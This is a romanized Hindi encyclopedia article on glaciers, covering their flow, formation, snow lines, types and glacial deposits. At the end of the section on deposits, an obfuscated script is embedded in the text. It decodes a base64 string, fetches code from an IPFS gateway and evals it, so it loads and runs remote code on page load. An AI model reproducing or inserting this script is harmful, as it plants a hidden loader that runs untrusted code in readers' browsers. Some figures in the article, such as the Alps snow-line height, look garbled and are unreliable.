हिमनद
thumb|250px|himanad, gleshiyar rashtriy udyan, chili himanad (aangrezi: Glacier) b de b de himakhandoan ko kahate haian jo apane hi bhar ke karan niche ki or khisakate rahate haian. inhean himani bhi kahate haian. nadi aur himanad mean itana aantar hai ki nadi mean jal dhalan ki or bahata hai aur himanad mean him niche ki or khisakata hai. himanad barf ka ek vishal sangrah hota hai, jo nimn bhoomi ki or dhire-dhire badhata hai. ye tin tarah ke hote haian- giripad himanad, mahadvipiy himanad tatha ghati himanad.
nadi ki tarah se himanad bhi aparadan, parivahan aur nikshepan ka kary karate haian. aparadan ke aantargat yah utpadan, apakarshan aur prasarpan ka kary karate haian.
pravahagati
nadi ki tulana mean himanad ki pravahagati b di mand hoti hai. yahaan tak logoan ki dharana thi ki himanad apane sthan par sthir rahata hai. himanad ke bich ka bhag parshvabhagoan (kinaroan) ki apeksha tatha oopar ka bhag tali ki apeksha adhik gati se age badhata hai. himanad sadharanat: ek din rat mean char paanch ianch age badhata hai par bhinn bhinn himanadoan ki gati bhinn hoti hai. alaska aur grinalaiand ke himanad 24 ghante mean 12 mitar se bhi adhik gati se age badhate haian. himapravah ki gati him ki matra aur usake vistar marg ki dhal evan tap par nirbhar karati hai. b de himanad chhote himanadoan ki apeksha adhik tivr gati se bahate haian. himanadoan ka marg jitana adhik dhaloo hoga utani hi adhik usaki gati hogi. himanad ka pravah tap ke ghatane badhane par bhi nirbhar karata hai. tap adhik hone par him shighr pighalata hai aur himanad veg se age badhata hai. yahi karan hai ki grishm rritu mean himanadoan ki pravahagati badh jati hai.
rachana
himanad prithvi ke unhian bhagoan mean pae jate haian jahaan him pighalane ki matra ki apeksha himaprapat adhik hota hai. sadharanat: himanad rachana ke lie him ka sau se do sau phut moti tahoan ka jama hona avashyak hota hai. itani motaee par dabav ke karan barf him mean parivartit ho jata hai. [[chitr:Glacier-4.jpg|thumb|250px|left|manachitr mean siyan rang se darshit himanad]]
star
himastaroan mean him ke bhinn bhinn star dekhe ja sakate haian. pratyek star ek varsh ke himapat ka dyotak hai. dabav ke karan niche ka star apane oopar vale star ki apeksha adhik saghan hota hai. is prakar barf adhikadhik ghani hoti jati hai. pahali danedar him 'naive' ki tatha bad mean thos him ki rachana hoti hai.
darar
pratibal ke prabhav mean barf mean dararean p d jati haian. ye dararean do sau phut tak gahari ho sakati haian. isase adhik gaharaee par yadi koee darar hoti bhi hai to vah dabav ke karan bhar jati hai. sadharanat: ye dararean tab utpann hoti haian jab him kisi paha di ya dhalan vale marg par hokar age badhata hai.
himarekha
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sthal ki yah rekha jisake oopar nirantar barf jami rahati hai himarekha kahalati hai. himarekha ke oopar ka bhag himakshetr kahalata hai. himarekha ki ooanchaee vibhinn sthanoan par bhinn bhinn hoti hai. bhoomadhyarekha par yah ooanchaee 4550 mitar se 5460 mitar tak ho sakati hai jab ki dhruv pradeshoan mean himarekha sagaratal ke nikat rahati hai. alps mean himarekha ki ooanchaee 275 mitar, grinalaiand mean 606 mitar, pairennis mean 1975 mitar, kolerado mean 3792 mitar tatha himalay mean 4550 mitar se 5150 mitar haian.
- svatantr himanad
thumb|250px|himanad mauant evarest ke asapas bahane vale pramukh svatantr himanad (gleshiyar) haian-
- poorv mean kaangashuang
- poorv, mukhy tatha pashchim roangabak himanad (uttar v pashchimottar)
- pumori himanad (pashchimottar)
- khuanboo himanad (pashchim tatha dakshin)
- lhotse-nupatse katak
- evarest ke bich ki barf ki ghati pashchimi kvam.
prakar
roop, akar aur sthiti ke adhar par himanadoan ko nimnalikhit bhagoan mean vibhajit kar sakate haian:- thumb|left|himanad jharana gleshiyar rashtriy udyan|200px
- dari himaniyaan
- prapati himaniyaan
- giripad himaniyaan
- himatop
- himastar
dari himaniyaan
dari himaniyaan parvatoan ki ghatiyoan mean bahati haian. inhean him himakshetroan se prapt hota hai. alps mean himaniyaan bahutayat se dekhane ko milati haian tatha yahian par sabase pahale inaka vistrit adhyayan kiya gaya tha. isi karan inhean alpain himaniyaan bhi kaha jata hai. dari himaniyoan ki pravahagati sadharanat: kam hoti hai kyoanki inaki motaee kam hoti hai. chhoti chhoti dari himaniyaan 60 mitar se 90 mitar tak moti hoti haian aur b di lagabhag 300 mitar moti. himaniyoan ki motaee him ke aandar bhookanp laharean utpann karake jani jati haian. alps mean do hazar se adhik dari himaniyaan haian. ye sadharanat: 3 kilomitar se 6 kilomitar lanbi haian par yahaan ki sabase b di himani aletsh lagabhag 14 kilomitar lanbi hai. himalay mean bhi bahut si vishalakay dari himaniyaan dekhane ko milati haian. yah adhik ooanchaee par sthit haian aur 8 se 48 kilomitar tak lanbi haian. alaska mean 120 kilomitar lanbi dari himaniyaan bhi vidyaman haian.
prapati himaniyaan
thumb|250px|himanad ek vishesh prakar ki parvatiy himani jo parvatoan ki dhaloan par gahare gaddhoan mean sthit hai pratapi himani kahalati hai. prapati himaniyaan ko sark himani bhi kaha jata hai. yah sadharanat: chhoti hoti hai. kabhi kabhi yah parvat ke pravan dhal par bahati haian. himani pradeshoan mean bahut se himaj gahvar (sark) aj bhi jhiloan ke roop mean dekhane ko milate haian. yah do or se pravan shilaoan se ghire rahate haian aur ek or ko khule rahate haian. pirapanjal kshetr mean 1800 mitar ki ooanchaee par aise bahut se himaj gahvar vidyaman haian. raki parvat mean bhi bahut si prapati himaniyaan dekhane ko milati haian. kinhian kinhian bhagoan mean prapati himani aur dari himaniyoan ke bich sankraman ki sabhi avasthaean dekhane ko milati haian.
giripad himaniyaan
parvatoan ke niche samatal bhoomi par kee himaniyoan ke milane se ek vishal himanad ki rachana hoti hai, ise hi giripad himanad kahate haian. yah parvat ki talahati mean barf ki jhil si dikhaee deti hai. alaska ki malasmina himani isaka sabase achchha udaharan hai. seant eliyas parvat ki talahati se yah himani lagabhag 3840 varg kilomitar kshetr mean phaili hai aur bahut dhimi gati se age ki or badh rahi haian. is himani ki simaean (kinare) shilaoan ke malabe tatha vanavrikshoan se dhake haian. thumb|left|250px|himanad
himatop
uchch akshaanshiy sthit pradeshoan mean maidan aur pathar him se achchhadit rahate haian. inhean himatop kaha jata hai. inaka kshetraphal adhik nahian hota hai. vastav mean yah himachadaroan ka chhota roop hai. skeandineviya, aisalaiand aur litjavarman mean bahut se himatop dekhane ko milate haian.
himachadar
himachadarean lakhoan varg mil kshetr ko dhanke rahati haian. inaki rachana himatop ki vriddhi se aur giripad himaniyoan ke vistar se hoti hai. grinalaiand aur aantarkatik ki himachadarean isaka suandar udaharan haian. viktar abhiyan (san 1949-1952) ke parinamasvaroop grinalaiand mean himachadar ke vishay mean nimnalikhit jnan prapt hua hai: thumb|250px|himanadisaka kshetraphal 17,26,400 varg kilomitar, samudratal se ausat ooanchaee 2135 mitar, him ki ausat motaee 1515 mitar, ayatan, 26x106 ghan kilomitar hai. dakshin dhruviy himachadar grinalaiand himachadar ki apeksha kee guna adhik b di hai. vishalakay himastaroan ko mahadvipi himaniyoan ke nam se bhi sanbodhit kiya jata hai.
himachadaroan ke vistrit kshetr mean kahian kahian ekalit shilaoan ki chotiyaan drishtigochar hoti haian. in shiladvipoan ko himasthaean (noonatak) kahate haian. grinalaiand adi dhruviy pradeshoan mean himanadi bina pighale hi samudr tak pahuanch jati hai aur vahaan kee b de aur chhote khandoan mean vibhajit ho jati hai. ye himakhand pani mean tairate rahate haian. inaka 1/10 bhag jal ke oopar tatha 9/10 bhag jal ke niche rahata hai. inhean plavihim kahate haian. garm bhagoan mean pahuanchakar himakhand pighal jate haian aur inaka padarth patthar adi samudr mean jama ho jata hai. parinamasvaroop us sthan par samudr ki tali ooanchi ho jati hai. nyoophauandalaiand tat ki rachana isi prakar huee haian. thumb|left|250px|himanad, bigal chainal
himanad nikshep
himanadi ke pighalane par jo nikshep banate haian unhean himodh kahate haian. ye nikshep do prakar ke hote haian.
- pahali shreni ke nikshep
pahali shreni mean ve nikshep ate haian jo barf ke pighalane ke sthan par hi himani dvara lae ge padarthoan ke jama hone se banate haian. inamean starikaran ka abhav rahata hai. in nikshepoan mean chhote b de sabhi prakar ke padarth ek sath sankalit rahate haian. tadanusar mitti se lekar b de b de vishal shilakhand yahaan dekhane ko milate haian. himodh mean yadi mitti ki matra adhik hoti hai to use golashm mrittika kahate haian. golashm mrittika mean vidyaman b de b de pattharoan par p di dhariyoan ke adhar par himanad ke pravah ki disha ka jnan prapt kiya ja sakata hai. himodh ke jama hone se himaniy pradesh mean chhote chhote tile ban jate haian. dramalin himodh se bani nichi paha diyaan haian jinaka adhar dirghavrittakar hota hai. inaka lanba aksh himanad ke pravah ki disha ke samaantar hota hai. isake pravanadhal him ke pravah ki disha ko iangit karate haian. dramalin sadharanat: 15 mitar se 60 mitar tak ooancha hota hai. thumb|250px|himanad
- doosari shreni ke nikshep
doosari shreni ke nikshep partadar hote haian. barf ke pighalane se jo pani prapt hota hai usi pani ke sath himani dvara laya gaya shail padarth bahata hai. jal ki pravahagati par nirbhar yah padarth akar ke anusar jama ho jata hai. pahale b de b de patthar phir chhote patthar tatpashchath baloo kan aur aant mean mitti. yadi ek vishal himanad kisi lagabhag sapat satah par dirgh kal tak sthir rahata hai to malabe se lada pani bahut si jaladharaoan ke roop mean pravahit hota hai aur malaba ek roop se satah par jama ho jata hai, ise himani apakshep kahate haian. kem bhi ek prakar ki himanad padarthoan se bani partadar paha diyaan haian jo sadharanat: 15 mitar se 45 mitar tak ooanchi hoti haian. ye himakshetroan mean ekalit paha diyoan ke roop mean ya chhote chhote samudayoan mean dikhaee deti haian. sadharanat: ye ghatiyoan ki talahati mean par kabhi-kabhi paha diyoan ki dhaloan ya unaki chotiyoan par bhi drishtigochar hoti haian. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
- hindi vishvakosh, bhag-12 prishth 367
sanbandhit lekh
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